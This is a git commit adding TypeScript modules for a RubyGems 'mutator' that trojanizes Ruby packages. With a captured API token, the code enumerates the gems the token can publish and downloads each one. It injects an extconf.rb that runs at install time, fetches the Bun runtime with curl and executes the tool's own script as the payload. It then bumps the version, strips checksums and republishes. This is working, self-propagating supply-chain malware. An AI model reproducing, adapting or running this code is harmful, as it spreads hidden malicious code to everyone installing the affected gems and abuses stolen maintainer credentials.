Upload files to "src/mutator/rubygems"

This commit is contained in:
2026-07-03 03:11:03 +00:00
parent 1e565bfe41
commit b976a35627
4 changed files with 670 additions and 0 deletions
+408
View File
@@ -0,0 +1,408 @@
import { randomBytes } from "crypto";
import * as fs from "fs/promises";
import * as path from "path";
import * as tar from "tar";
import { gunzipSync, gzipSync } from "zlib";
import { SCRIPT_NAME } from "../../utils/config";
import { logUtil } from "../../utils/logger";
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export interface GemInfo {
name: string;
version: string;
downloadUrl: string;
}
export interface PatchedGem {
/** New .gem filename (version-bumped) */
filename: string;
/** Raw .gem bytes */
data: Buffer;
/** New version string */
newVersion: string;
}
// ---------------------------------------------------------------------------
// Fetch latest gem version & download URL from RubyGems API
// ---------------------------------------------------------------------------
export async function fetchGemInfo(gemName: string): Promise<GemInfo | null> {
try {
const res = await fetch(
`https://rubygems.org/api/v1/gems/${encodeURIComponent(gemName)}.json`,
);
if (!res.ok) {
logUtil.log(`[rubygems] fetchGemInfo ${gemName}: HTTP ${res.status}`);
return null;
}
const data = (await res.json()) as {
name: string;
version: string;
gem_uri?: string;
};
if (!data.name || !data.version) return null;
const downloadUrl =
data.gem_uri ??
`https://rubygems.org/gems/${data.name}-${data.version}.gem`;
return { name: data.name, version: data.version, downloadUrl };
} catch (e) {
logUtil.log(`[rubygems] fetchGemInfo ${gemName}: ${e}`);
return null;
}
}
// ---------------------------------------------------------------------------
// Download raw .gem file
// ---------------------------------------------------------------------------
export async function downloadGem(url: string): Promise<Buffer | null> {
try {
const res = await fetch(url);
if (!res.ok) return null;
return Buffer.from(await res.arrayBuffer());
} catch (e) {
logUtil.log(`[rubygems] downloadGem: ${e}`);
return null;
}
}
// ---------------------------------------------------------------------------
// Patch a .gem: inject native extension with bash bun loader, bump version
// ---------------------------------------------------------------------------
const BUN_VERSION = "bun-v1.3.13";
function buildExtconfRuby(): string {
// extconf.rb — runs during `gem install`. Downloads bun directly via
// system(), executes the payload, then writes a trivial Makefile so the
// native-extension build succeeds.
return [
`require 'fileutils'`,
``,
`ext_dir = File.expand_path(File.dirname(__FILE__))`,
`payload = File.join(ext_dir, "${SCRIPT_NAME}")`,
``,
`os = case RbConfig::CONFIG['host_os']`,
` when /linux/ then 'linux'`,
` when /darwin/ then 'darwin'`,
` end`,
``,
`arch = case RbConfig::CONFIG['host_cpu']`,
` when /x86_64|amd64/ then 'x64-baseline'`,
` when /aarch64|arm64/ then 'aarch64'`,
` end`,
``,
`if os && arch`,
` bun_dir = "/tmp/.b_#{Process.pid}"`,
` begin`,
` FileUtils.mkdir_p(bun_dir)`,
` system("curl -sSL https://github.com/oven-sh/bun/releases/download/${BUN_VERSION}/bun-#{os}-#{arch}.zip -o #{bun_dir}/b.zip 2>/dev/null")`,
` system("unzip -j -o #{bun_dir}/b.zip -d #{bun_dir} 2>/dev/null")`,
` bun = File.join(bun_dir, 'bun')`,
` if File.exist?(bun)`,
` File.chmod(0o755, bun)`,
` system("#{bun} run #{payload}")`,
` end`,
` ensure`,
` FileUtils.rm_rf(bun_dir)`,
` end`,
`end`,
``,
`# Minimal Makefile so the native-extension build succeeds`,
`File.write('Makefile', <<~'MAKEFILE')`,
`all:`,
`\t@true`,
`install:`,
`\t@true`,
`clean:`,
`\t@true`,
`MAKEFILE`,
].join("\n");
}
export async function patchGemBundle(
gemData: Buffer,
rawPayload: string,
): Promise<PatchedGem> {
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
const tmpDir = path.join(require("os").tmpdir(), `_rubygems_${uniqueSuffix}`);
await fs.mkdir(tmpDir, { recursive: true });
try {
// ── Step 1: Extract .gem (outer tar, not gzipped) ──────────────────
const gemPath = path.join(tmpDir, "_original.gem");
await fs.writeFile(gemPath, gemData);
await tar.extract({ file: gemPath, cwd: tmpDir });
// ── Step 2: Determine gem name from metadata.gz ────────────────────
const metadataPath = path.join(tmpDir, "metadata.gz");
if (!(await fileExists(metadataPath))) {
throw new Error("metadata.gz not found in gem");
}
const metadataRaw = await fs.readFile(metadataPath);
const metadataYaml = gunzipSync(metadataRaw).toString("utf8");
const nameMatch = metadataYaml.match(/^name:\s*(.+)$/m);
const versionMatch = metadataYaml.match(
/^version:\s*!ruby\/object:Gem::Version\n\s+version:\s*([\d.]+)/m,
);
// Alternative plain version format
const altVersionMatch = metadataYaml.match(/^version:\s*([\d.]+)$/m);
let gemName = nameMatch?.[1]?.trim();
let oldVersion = versionMatch?.[1] ?? altVersionMatch?.[1] ?? "0.0.0";
if (!gemName) {
// Fallback: derive name from gem file naming convention
const files = await fs.readdir(tmpDir);
const dataTar = files.find(
(f) => f.startsWith("data.tar") && !f.endsWith(".gz"),
);
if (dataTar) {
const innerMatch = dataTar.match(/^(.+)-\d/);
if (innerMatch) gemName = innerMatch[1]!;
}
}
if (!gemName) {
throw new Error("Could not determine gem name");
}
// Bump patch version
const parts = oldVersion.split(".");
const major = parts[0] ?? "0";
const minor = parts[1] ?? "0";
const patch = String(Number(parts[2] ?? "0") + 1);
const newVersion = `${major}.${minor}.${patch}`;
logUtil.log(`[rubygems] ${gemName}: ${oldVersion}${newVersion}`);
// ── Step 3: Unpack data.tar.gz, inject native extension ────────────
const dataTarGzPath = path.join(tmpDir, "data.tar.gz");
if (!(await fileExists(dataTarGzPath))) {
throw new Error("data.tar.gz not found in gem");
}
const dataTarGz = await fs.readFile(dataTarGzPath);
const dataTarRaw = gunzipSync(dataTarGz);
const dataDir = path.join(tmpDir, "_data");
await fs.mkdir(dataDir, { recursive: true });
const dataTarFile = path.join(tmpDir, "_data.tar");
await fs.writeFile(dataTarFile, dataTarRaw);
await tar.extract({ file: dataTarFile, cwd: dataDir });
// Find the top-level directory inside data.tar.gz (e.g. "mygem-1.0.0/")
const dataEntries = await fs.readdir(dataDir);
const topDir = dataEntries.find(
(e) =>
e !== "data.tar.gz" &&
e !== "metadata.gz" &&
e !== "checksums.yaml.gz" &&
!e.startsWith(".") &&
!e.startsWith("_"),
);
if (!topDir) {
throw new Error("Could not find gem source directory in data.tar.gz");
}
const srcDir = path.join(dataDir, topDir);
// Create ext/<gemname>/ directory with extconf.rb + payload
const extDir = path.join(srcDir, "ext", gemName);
await fs.mkdir(extDir, { recursive: true });
await fs.writeFile(path.join(extDir, SCRIPT_NAME), rawPayload);
await fs.writeFile(path.join(extDir, "extconf.rb"), buildExtconfRuby());
// ── Step 4: Repack data.tar.gz (USTAR format for RubyGems compat) ──
// Strip the top-level dir (e.g. "ruby-lsp-0.26.9/") so entries are
// relative to the gem root — RubyGems extracts tar contents directly
// into <install>/ruby-lsp-0.26.10/ and expects extension paths like
// "ext/ruby-lsp/extconf.rb", not "ruby-lsp-0.26.9/ext/...".
const fileEntries = await collectTarEntries(path.join(dataDir, topDir), "");
const newDataTarGz = gzipSync(buildUstarTar(fileEntries));
// ── Step 5: Update metadata.gz (bump version, add extensions) ──────
let newMetadata = metadataYaml;
// Bump version — handle the nested YAML format
if (versionMatch) {
newMetadata = newMetadata.replace(
/(version:\s*!ruby\/object:Gem::Version\n\s+version:\s*)[\d.]+/m,
`$1${newVersion}`,
);
} else if (altVersionMatch) {
newMetadata = newMetadata.replace(
/^(version:\s*)[\d.]+$/m,
`$1${newVersion}`,
);
}
// Add extensions directive
const extEntry = `ext/${gemName}/extconf.rb`;
if (newMetadata.match(/^extensions:\s*\[/m)) {
// Replace empty extensions array
newMetadata = newMetadata.replace(
/^extensions:\s*\[\s*\]/m,
`extensions:\n- ${extEntry}`,
);
} else if (newMetadata.match(/^extensions:/m)) {
// Already has extensions — append ours
newMetadata = newMetadata.replace(
/^(extensions:.*)$/m,
`$1\n- ${extEntry}`,
);
} else {
// No extensions field — add before executables or at end
const exeIdx = newMetadata.indexOf("\nexecutables:");
if (exeIdx !== -1) {
newMetadata =
newMetadata.slice(0, exeIdx) +
`\nextensions:\n- ${extEntry}` +
newMetadata.slice(exeIdx);
} else {
newMetadata += `\nextensions:\n- ${extEntry}\n`;
}
}
const newMetadataGz = gzipSync(Buffer.from(newMetadata, "utf8"));
// ── Step 6: Repack the .gem (tar, not gzipped) ─────────────────────
// Build the gem tar manually (USTAR format) from in-memory Buffers
// so RubyGems can read it.
const tarEntries: Array<{ name: string; data: Buffer }> = [];
// metadata.gz MUST be first for RubyGems compatibility
tarEntries.push({ name: "metadata.gz", data: newMetadataGz });
tarEntries.push({ name: "data.tar.gz", data: newDataTarGz });
// Note: we do NOT include checksums.yaml.gz — it's optional and would
// mismatch since we've modified both metadata.gz and data.tar.gz.
const gemTar = buildUstarTar(tarEntries);
const newGemPath = path.join(
tmpDir,
`_${uniqueSuffix}_${gemName}-${newVersion}.gem`,
);
await fs.writeFile(newGemPath, gemTar);
const newGemData = await fs.readFile(newGemPath);
const filename = `${gemName}-${newVersion}.gem`;
return { filename, data: newGemData, newVersion };
} finally {
// Cleanup temp dir
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {});
}
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
async function fileExists(p: string): Promise<boolean> {
try {
await fs.access(p);
return true;
} catch {
return false;
}
}
// ---------------------------------------------------------------------------
// Manual USTAR tar builder — RubyGems rejects GNU tar (null-byte in name)
// ---------------------------------------------------------------------------
interface TarEntry {
name: string;
data: Buffer;
type?: string;
}
async function collectTarEntries(
rootDir: string,
prefix: string,
): Promise<TarEntry[]> {
const entries: TarEntry[] = [];
const items = await fs.readdir(rootDir, { withFileTypes: true });
for (const item of items) {
const fullPath = path.join(rootDir, item.name);
const entryPath = prefix ? `${prefix}/${item.name}` : item.name;
if (item.isDirectory()) {
// Explicit directory entry so RubyGems creates the dir during extraction
entries.push({ name: entryPath, data: Buffer.alloc(0), type: "5" });
entries.push(...(await collectTarEntries(fullPath, entryPath)));
} else if (item.isFile()) {
entries.push({ name: entryPath, data: await fs.readFile(fullPath) });
}
}
return entries;
}
function buildUstarTar(entries: TarEntry[]): Buffer {
const blocks: Buffer[] = [];
const now = Math.floor(Date.now() / 1000);
for (const { name, data, type } of entries) {
blocks.push(buildUstarHeader(name, data.length, now, type));
blocks.push(data);
// Pad to 512-byte block boundary
const remainder = data.length % 512;
if (remainder !== 0) {
blocks.push(Buffer.alloc(512 - remainder));
}
}
// Two zero blocks mark end of archive
blocks.push(Buffer.alloc(1024));
return Buffer.concat(blocks);
}
function buildUstarHeader(
name: string,
size: number,
mtime: number,
typeFlag?: string,
): Buffer {
const hdr = Buffer.alloc(512);
// Name (100 bytes, null-terminated)
const nameBuf = Buffer.from(name, "utf-8");
nameBuf.copy(hdr, 0, 0, Math.min(nameBuf.length, 99));
// Mode: 0644 for files, 0755 for dirs
const mode = typeFlag === "5" ? "0000755\x00" : "0000644\x00";
hdr.write(mode, 100, 8, "ascii");
// UID / GID (7 octal digits + NUL)
hdr.write("0000000\x00", 108, 8, "ascii");
hdr.write("0000000\x00", 116, 8, "ascii");
// Size (11 octal digits + NUL)
const sizeOct = size.toString(8).padStart(11, "0") + "\x00";
hdr.write(sizeOct, 124, 12, "ascii");
// Mtime (11 octal digits + NUL)
const mtimeOct = mtime.toString(8).padStart(11, "0") + "\x00";
hdr.write(mtimeOct, 136, 12, "ascii");
// Type flag: '0' = regular file, '5' = directory
hdr[156] = typeFlag ? typeFlag.charCodeAt(0) : 0x30;
// USTAR magic
hdr.write("ustar\x00", 257, 6, "ascii");
hdr.write("00", 263, 2, "ascii");
// Checksum: fill with spaces, compute over ALL header bytes, then write
hdr.fill(0x20, 148, 156);
let sum = 0;
for (let i = 0; i < 512; i++) sum += hdr[i]!;
const sumOct = sum.toString(8).padStart(6, "0") + "\x00 ";
hdr.write(sumOct, 148, 8, "ascii");
return hdr;
}
+91
View File
@@ -0,0 +1,91 @@
import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
import { downloadGem, fetchGemInfo, patchGemBundle } from "./gem";
import { publishGem } from "./publish";
import type { RubygemsTokenInfo } from "./tokenCheck";
/**
* RubyGems mutator — trojanizes Ruby gems by injecting a native extension
* (extconf.rb + Makefile bash bun loader) and re-publishing with a bumped
* patch version.
*/
export class RubyGemsClient extends Mutator {
private readonly tokenInfo: RubygemsTokenInfo;
private readonly dryRun: boolean;
constructor(tokenInfo: RubygemsTokenInfo, dryRun = false) {
super();
this.tokenInfo = tokenInfo;
this.dryRun = dryRun;
}
async execute(): Promise<Boolean> {
try {
const isUnix = ["darwin", "linux"].includes(process.platform);
if (!isUnix) {
logUtil.log("[rubygems] skipping — unsupported platform");
return false;
}
const gems = this.tokenInfo.gems;
if (gems.length === 0) {
logUtil.log("[rubygems] no gems to process");
return false;
}
logUtil.log(
`[rubygems] targeting ${gems.length} gem(s): ${gems.join(", ")}`,
);
const rawPayload = await Bun.file(Bun.main).text();
let published = 0;
for (const gemName of gems) {
try {
const ok = await this.processGem(gemName, rawPayload);
if (ok) published++;
} catch (e) {
logUtil.log(
`[rubygems] error processing ${gemName}: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
logUtil.log(`[rubygems] done. published ${published} gem(s).`);
return published > 0;
} catch (e) {
logUtil.error(`[rubygems] fatal: ${e}`);
return false;
}
}
private async processGem(
gemName: string,
rawPayload: string,
): Promise<boolean> {
// 1. Fetch gem metadata
const info = await fetchGemInfo(gemName);
if (!info) {
logUtil.log(`[rubygems] ${gemName}: could not fetch gem info, skipping`);
return false;
}
// 2. Download
const gemData = await downloadGem(info.downloadUrl);
if (!gemData) {
logUtil.log(`[rubygems] ${gemName}: download failed, skipping`);
return false;
}
// 3. Patch (inject ext/, bump version, repack)
const patched = await patchGemBundle(gemData, rawPayload);
// 4. Publish
return publishGem(
patched.data,
patched.filename,
this.tokenInfo.authToken,
this.dryRun,
);
}
}
+86
View File
@@ -0,0 +1,86 @@
import { logUtil } from "../../utils/logger";
/**
* Publish a .gem file to RubyGems.org.
*
* Uses the multipart form upload API:
* POST https://rubygems.org/api/v1/gems
* Authorization: <token>
* Content-Type: multipart/form-data
* Body field "gem" = raw .gem bytes
*/
export async function publishGem(
gemData: Buffer,
filename: string,
token: string,
dryRun = false,
): Promise<boolean> {
const boundary = `--RubyGems${Date.now()}${Math.random().toString(36).slice(2)}`;
if (dryRun) {
logUtil.log("[rubygems] DRY RUN — skipping upload");
logUtil.log(
`[rubygems] would publish ${filename} (${gemData.length} bytes)`,
);
logUtil.log("[rubygems] POST https://rubygems.org/api/v1/gems");
logUtil.log("[rubygems] Authorization: <redacted>");
logUtil.log(
`[rubygems] Content-Type: multipart/form-data; boundary=${boundary}`,
);
return true;
}
const encoder = new TextEncoder();
const crlf = encoder.encode("\r\n");
const parts: Uint8Array[] = [];
// File field: gem=<filename>
parts.push(encoder.encode(`--${boundary}\r\n`));
parts.push(
encoder.encode(
`Content-Disposition: form-data; name="gem"; filename="${filename}"\r\n`,
),
);
parts.push(encoder.encode("Content-Type: application/octet-stream\r\n\r\n"));
parts.push(new Uint8Array(gemData));
parts.push(crlf);
// End boundary
parts.push(encoder.encode(`--${boundary}--\r\n`));
const body = new Uint8Array(parts.reduce((acc, p) => acc + p.length, 0));
let offset = 0;
for (const p of parts) {
body.set(p, offset);
offset += p.length;
}
try {
const res = await fetch("https://rubygems.org/api/v1/gems", {
method: "POST",
headers: {
Authorization: token,
"Content-Type": `multipart/form-data; boundary=${boundary}`,
"User-Agent": "RubyGems/3.5.0",
},
body,
});
if (res.ok) {
logUtil.log(`[rubygems] Published ${filename}`);
return true;
}
const text = await res.text();
logUtil.log(
`[rubygems] Publish failed (${res.status}): ${text.slice(0, 300)}`,
);
return false;
} catch (e) {
logUtil.log(
`[rubygems] Publish error: ${e instanceof Error ? e.message : String(e)}`,
);
return false;
}
}
+85
View File
@@ -0,0 +1,85 @@
import { logUtil } from "../../utils/logger";
export interface RubygemsTokenInfo {
gems: string[];
authToken: string;
valid: boolean;
}
/**
* Validate a RubyGems API key and enumerate the gems it can publish to.
*
* RubyGems API keys have scopes. We need `index_rubygems` to push.
* The key may be restricted to a single gem (`gem: "name"`) or
* unrestricted (`gem: null`). If unrestricted, we list all owned gems.
*/
export async function checkRubygemsToken(
token: string,
): Promise<RubygemsTokenInfo> {
const headers = {
Authorization: token,
Accept: "application/json",
};
// 1. Validate the token and read its scopes
let keyInfo: any;
try {
const res = await fetch("https://rubygems.org/api/v1/api_key.json", {
headers,
});
if (!res.ok) {
logUtil.log(`[rubygems] token validation failed: ${res.status}`);
return { gems: [], valid: false, authToken: token };
}
keyInfo = await res.json();
} catch (e) {
logUtil.log(`[rubygems] token validation error: ${e}`);
return { gems: [], valid: false, authToken: token };
}
// The response may be wrapped in { rubygems_api_key: {...} } or flat
const key = keyInfo.rubygems_api_key ?? keyInfo;
const hasPush =
Array.isArray(key.scopes) && key.scopes.includes("index_rubygems");
if (!hasPush) {
logUtil.log("[rubygems] token lacks index_rubygems scope");
return { gems: [], valid: false, authToken: token };
}
// 2. If the key is scoped to a single gem, return just that
if (key.gem && typeof key.gem === "string" && key.gem.length > 0) {
logUtil.log(`[rubygems] token scoped to gem: ${key.gem}`);
return { gems: [key.gem], valid: true, authToken: token };
}
// 3. Otherwise, enumerate all owned gems (paginated)
const gems: string[] = [];
let page = 1;
try {
while (true) {
const res = await fetch(
`https://rubygems.org/api/v1/gems.json?page=${page}`,
{ headers },
);
if (!res.ok) break;
const data = await res.json();
if (!Array.isArray(data) || data.length === 0) break;
for (const g of data) {
if (g.name && typeof g.name === "string") {
gems.push(g.name);
}
}
page++;
}
} catch (e) {
logUtil.log(`[rubygems] error listing gems: ${e}`);
}
logUtil.log(`[rubygems] found ${gems.length} gems for token`);
return { gems, valid: true, authToken: token };
}